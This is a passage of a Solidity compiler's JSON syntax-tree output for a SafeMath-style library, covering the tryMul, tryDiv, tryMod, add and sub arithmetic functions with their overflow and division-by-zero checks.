tring":"uint256"}},"value":null,"visibility":"internal"}],"src":"1169:15:1"},"scope":464,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":211,"nodeType":"FunctionDefinition","src":"1408:435:1","nodes":[],"body":{"id":210,"nodeType":"Block","src":"1484:359:1","nodes":[],"statements":[{"condition":{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":184,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"id":182,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":173,"src":"1716:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"argumentTypes":null,"hexValue":"30","id":183,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1721:1:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"1716:6:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":null,"id":189,"nodeType":"IfStatement","src":"1712:28:1","trueBody":{"expression":{"argumentTypes":null,"components":[{"argumentTypes":null,"hexValue":"74727565","id":185,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"1732:4:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},{"argumentTypes":null,"hexValue":"30","id":186,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1738:1:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"id":187,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"1731:9:1","typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_rational_0_by_1_$","typeString":"tuple(bool,int_const 0)"}},"functionReturnParameters":181,"id":188,"nodeType":"Return","src":"1724:16:1"}},{"assignments":[191],"declarations":[{"constant":false,"id":191,"mutability":"mutable","name":"c","nodeType":"VariableDeclaration","overrides":null,"scope":210,"src":"1750:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":190,"name":"uint256","nodeType":"ElementaryTypeName","src":"1750:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"id":195,"initialValue":{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":194,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"id":192,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":173,"src":"1762:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"*","rightExpression":{"argumentTypes":null,"id":193,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":175,"src":"1766:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1762:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"1750:17:1"},{"condition":{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":200,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":198,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"id":196,"name":"c","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":191,"src":"1781:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"/","rightExpression":{"argumentTypes":null,"id":197,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":173,"src":"1785:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1781:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"argumentTypes":null,"id":199,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":175,"src":"1790:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1781:10:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":null,"id":205,"nodeType":"IfStatement","src":"1777:33:1","trueBody":{"expression":{"argumentTypes":null,"components":[{"argumentTypes":null,"hexValue":"66616c7365","id":201,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"1801:5:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},{"argumentTypes":null,"hexValue":"30","id":202,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1808:1:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"id":203,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"1800:10:1","typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_rational_0_by_1_$","typeString":"tuple(bool,int_const 0)"}},"functionReturnParameters":181,"id":204,"nodeType":"Return","src":"1793:17:1"}},{"expression":{"argumentTypes":null,"components":[{"argumentTypes":null,"hexValue":"74727565","id":206,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"1828:4:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},{"argumentTypes":null,"id":207,"name":"c","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":191,"src":"1834:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":208,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"1827:9:1","typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_uint256_$","typeString":"tuple(bool,uint256)"}},"functionReturnParameters":181,"id":209,"nodeType":"Return","src":"1820:16:1"}]},"documentation":{"id":171,"nodeType":"StructuredDocumentation","src":"1266:137:1","text":" @dev Returns the multiplication of two unsigned integers, with an overflow flag.\n _Available since v3.4._"},"implemented":true,"kind":"function","modifiers":[],"name":"tryMul","overrides":null,"parameters":{"id":176,"nodeType":"ParameterList","parameters":[{"constant":false,"id":173,"mutability":"mutable","name":"a","nodeType":"VariableDeclaration","overrides":null,"scope":211,"src":"1424:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":172,"name":"uint256","nodeType":"ElementaryTypeName","src":"1424:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"},{"constant":false,"id":175,"mutability":"mutable","name":"b","nodeType":"VariableDeclaration","overrides":null,"scope":211,"src":"1435:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":174,"name":"uint256","nodeType":"ElementaryTypeName","src":"1435:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"src":"1423:22:1"},"returnParameters":{"id":181,"nodeType":"ParameterList","parameters":[{"constant":false,"id":178,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":211,"src":"1469:4:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":177,"name":"bool","nodeType":"ElementaryTypeName","src":"1469:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":null,"visibility":"internal"},{"constant":false,"id":180,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":211,"src":"1475:7:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":179,"name":"uint256","nodeType":"ElementaryTypeName","src":"1475:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"src":"1468:15:1"},"scope":464,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":238,"nodeType":"FunctionDefinition","src":"1992:152:1","nodes":[],"body":{"id":237,"nodeType":"Block","src":"2068:76:1","nodes":[],"statements":[{"condition":{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":225,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"id":223,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":216,"src":"2082:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"argumentTypes":null,"hexValue":"30","id":224,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2087:1:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"2082:6:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":null,"id":230,"nodeType":"IfStatement","src":"2078:29:1","trueBody":{"expression":{"argumentTypes":null,"components":[{"argumentTypes":null,"hexValue":"66616c7365","id":226,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"2098:5:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},{"argumentTypes":null,"hexValue":"30","id":227,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2105:1:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"id":228,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"2097:10:1","typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_rational_0_by_1_$","typeString":"tuple(bool,int_const 0)"}},"functionReturnParameters":222,"id":229,"nodeType":"Return","src":"2090:17:1"}},{"expression":{"argumentTypes":null,"components":[{"argumentTypes":null,"hexValue":"74727565","id":231,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"2125:4:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":234,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"id":232,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":214,"src":"2131:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"/","rightExpression":{"argumentTypes":null,"id":233,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":216,"src":"2135:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2131:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":235,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"2124:13:1","typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_uint256_$","typeString":"tuple(bool,uint256)"}},"functionReturnParameters":222,"id":236,"nodeType":"Return","src":"2117:20:1"}]},"documentation":{"id":212,"nodeType":"StructuredDocumentation","src":"1849:138:1","text":" @dev Returns the division of two unsigned integers, with a division by zero flag.\n _Available since v3.4._"},"implemented":true,"kind":"function","modifiers":[],"name":"tryDiv","overrides":null,"parameters":{"id":217,"nodeType":"ParameterList","parameters":[{"constant":false,"id":214,"mutability":"mutable","name":"a","nodeType":"VariableDeclaration","overrides":null,"scope":238,"src":"2008:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":213,"name":"uint256","nodeType":"ElementaryTypeName","src":"2008:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"},{"constant":false,"id":216,"mutability":"mutable","name":"b","nodeType":"VariableDeclaration","overrides":null,"scope":238,"src":"2019:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":215,"name":"uint256","nodeType":"ElementaryTypeName","src":"2019:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"src":"2007:22:1"},"returnParameters":{"id":222,"nodeType":"ParameterList","parameters":[{"constant":false,"id":219,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":238,"src":"2053:4:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":218,"name":"bool","nodeType":"ElementaryTypeName","src":"2053:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":null,"visibility":"internal"},{"constant":false,"id":221,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":238,"src":"2059:7:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":220,"name":"uint256","nodeType":"ElementaryTypeName","src":"2059:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"src":"2052:15:1"},"scope":464,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":265,"nodeType":"FunctionDefinition","src":"2303:152:1","nodes":[],"body":{"id":264,"nodeType":"Block","src":"2379:76:1","nodes":[],"statements":[{"condition":{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":252,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"id":250,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":243,"src":"2393:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"argumentTypes":null,"hexValue":"30","id":251,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2398:1:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"2393:6:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":null,"id":257,"nodeType":"IfStatement","src":"2389:29:1","trueBody":{"expression":{"argumentTypes":null,"components":[{"argumentTypes":null,"hexValue":"66616c7365","id":253,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"2409:5:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},{"argumentTypes":null,"hexValue":"30","id":254,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2416:1:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"id":255,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"2408:10:1","typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_rational_0_by_1_$","typeString":"tuple(bool,int_const 0)"}},"functionReturnParameters":249,"id":256,"nodeType":"Return","src":"2401:17:1"}},{"expression":{"argumentTypes":null,"components":[{"argumentTypes":null,"hexValue":"74727565","id":258,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"2436:4:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":261,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"id":259,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":241,"src":"2442:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"%","rightExpression":{"argumentTypes":null,"id":260,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":243,"src":"2446:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2442:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":262,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"2435:13:1","typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_uint256_$","typeString":"tuple(bool,uint256)"}},"functionReturnParameters":249,"id":263,"nodeType":"Return","src":"2428:20:1"}]},"documentation":{"id":239,"nodeType":"StructuredDocumentation","src":"2150:148:1","text":" @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.\n _Available since v3.4._"},"implemented":true,"kind":"function","modifiers":[],"name":"tryMod","overrides":null,"parameters":{"id":244,"nodeType":"ParameterList","parameters":[{"constant":false,"id":241,"mutability":"mutable","name":"a","nodeType":"VariableDeclaration","overrides":null,"scope":265,"src":"2319:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":240,"name":"uint256","nodeType":"ElementaryTypeName","src":"2319:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"},{"constant":false,"id":243,"mutability":"mutable","name":"b","nodeType":"VariableDeclaration","overrides":null,"scope":265,"src":"2330:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":242,"name":"uint256","nodeType":"ElementaryTypeName","src":"2330:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"src":"2318:22:1"},"returnParameters":{"id":249,"nodeType":"ParameterList","parameters":[{"constant":false,"id":246,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":265,"src":"2364:4:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":245,"name":"bool","nodeType":"ElementaryTypeName","src":"2364:4:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":null,"visibility":"internal"},{"constant":false,"id":248,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":265,"src":"2370:7:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":247,"name":"uint256","nodeType":"ElementaryTypeName","src":"2370:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"src":"2363:15:1"},"scope":464,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":291,"nodeType":"FunctionDefinition","src":"2690:175:1","nodes":[],"body":{"id":290,"nodeType":"Block","src":"2757:108:1","nodes":[],"statements":[{"assignments":[276],"declarations":[{"constant":false,"id":276,"mutability":"mutable","name":"c","nodeType":"VariableDeclaration","overrides":null,"scope":290,"src":"2767:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":275,"name":"uint256","nodeType":"ElementaryTypeName","src":"2767:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"id":280,"initialValue":{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":279,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"id":277,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":268,"src":"2779:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"argumentTypes":null,"id":278,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":270,"src":"2783:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2779:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"2767:17:1"},{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":284,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"id":282,"name":"c","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":276,"src":"2802:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"argumentTypes":null,"id":283,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":268,"src":"2807:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2802:6:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"hexValue":"536166654d6174683a206164646974696f6e206f766572666c6f77","id":285,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2810:29:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_30cc447bcc13b3e22b45cef0dd9b0b514842d836dd9b6eb384e20dedfb47723a","typeString":"literal_string \"SafeMath: addition overflow\""},"value":"SafeMath: addition overflow"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_30cc447bcc13b3e22b45cef0dd9b0b514842d836dd9b6eb384e20dedfb47723a","typeString":"literal_string \"SafeMath: addition overflow\""}],"id":281,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2794:7:1","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":286,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"2794:46:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":287,"nodeType":"ExpressionStatement","src":"2794:46:1"},{"expression":{"argumentTypes":null,"id":288,"name":"c","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":276,"src":"2857:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":274,"id":289,"nodeType":"Return","src":"2850:8:1"}]},"documentation":{"id":266,"nodeType":"StructuredDocumentation","src":"2461:224:1","text":" @dev Returns the addition of two unsigned integers, reverting on\n overflow.\n Counterpart to Solidity's `+` operator.\n Requirements:\n - Addition cannot overflow."},"implemented":true,"kind":"function","modifiers":[],"name":"add","overrides":null,"parameters":{"id":271,"nodeType":"ParameterList","parameters":[{"constant":false,"id":268,"mutability":"mutable","name":"a","nodeType":"VariableDeclaration","overrides":null,"scope":291,"src":"2703:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":267,"name":"uint256","nodeType":"ElementaryTypeName","src":"2703:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"},{"constant":false,"id":270,"mutability":"mutable","name":"b","nodeType":"VariableDeclaration","overrides":null,"scope":291,"src":"2714:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":269,"name":"uint256","nodeType":"ElementaryTypeName","src":"2714:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"src":"2702:22:1"},"returnParameters":{"id":274,"nodeType":"ParameterList","parameters":[{"constant":false,"id":273,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":291,"src":"2748:7:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":272,"name":"uint256","nodeType":"ElementaryTypeName","src":"2748:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"src":"2747:9:1"},"scope":464,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":313,"nodeType":"FunctionDefinition","src":"3136:155:1","nodes":[],"body":{"id":312,"nodeType":"Block","src":"3203:88:1","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":304,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"id":302,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":296,"src":"3221:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<=","rightExpression":{"argumentTypes":null,"id":303,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":294,"src":"3226:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"3221:6:1","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"hexValue":"536166654d6174683a207375627472616374696f6e206f766572666c6f77","id":305,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"3229:32:1","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_50b058e9b5320e58880d88223c9801cd9eecdcf90323d5c2318bc1b6b916e862","typeString":"literal_string \"SafeMath: subtraction overflow\""},"value":"SafeMath: subtraction overflow"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_50b058e9b5320e58880d88223c9801cd9eecdcf90323d5c2318bc1b6b916e862","typeString":"literal_string \"SafeMath: subtraction overflow\""}],"id":301,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"3213:7:1","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":306,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"3213:49:1","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":307,"nodeType":"ExpressionStatement","src":"3213:49:1"},{"expression":{"argumentTypes":null,"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":310,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"id":308,"name":"a","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":294,"src":"3279:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"argumentTypes":null,"id":309,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":296,"src":"3283:1:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"3279:5:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":300,"id":311,"nodeType":"Return","src":"3272:12:1"}]},"documentation":{"id":292,"nodeType":"StructuredDocumentation","src":"2871:260:1","text":" @dev Returns the subtraction of two unsigned integers, reverting on\n overflow (when the result is negative).\n Counterpart to Solidity's `-` operator.\n Requirements:\n - Subtraction cannot overflow."},"implemented":true,"kind":"function","modifiers":[],"name":"sub","overrides":null,"parameters":{"id":297,"nodeType":"ParameterList","parameters":[{"constant":false,"id":294,"mutability":"mutable","name":"a","nodeType":"VariableDeclaration","overrides":null,"scope":313,"src":"3149:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":293,"name":"uint256","nodeType":"ElementaryTypeName","src":"3149:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"},{"constant":false,"id":296,"mutability":"mutable","name":"b","nodeType":"VariableDeclaration","overrides":null,"scope":313,"src":"3160:9:1","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":295,"name":"uint256","nodeType":"ElementaryTypeName","src":"3160:7:1","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"internal"}],"src":"3148:22:1"},"returnParameters":{"id":300,"nodeType":"ParameterList","parameters":[{"constant"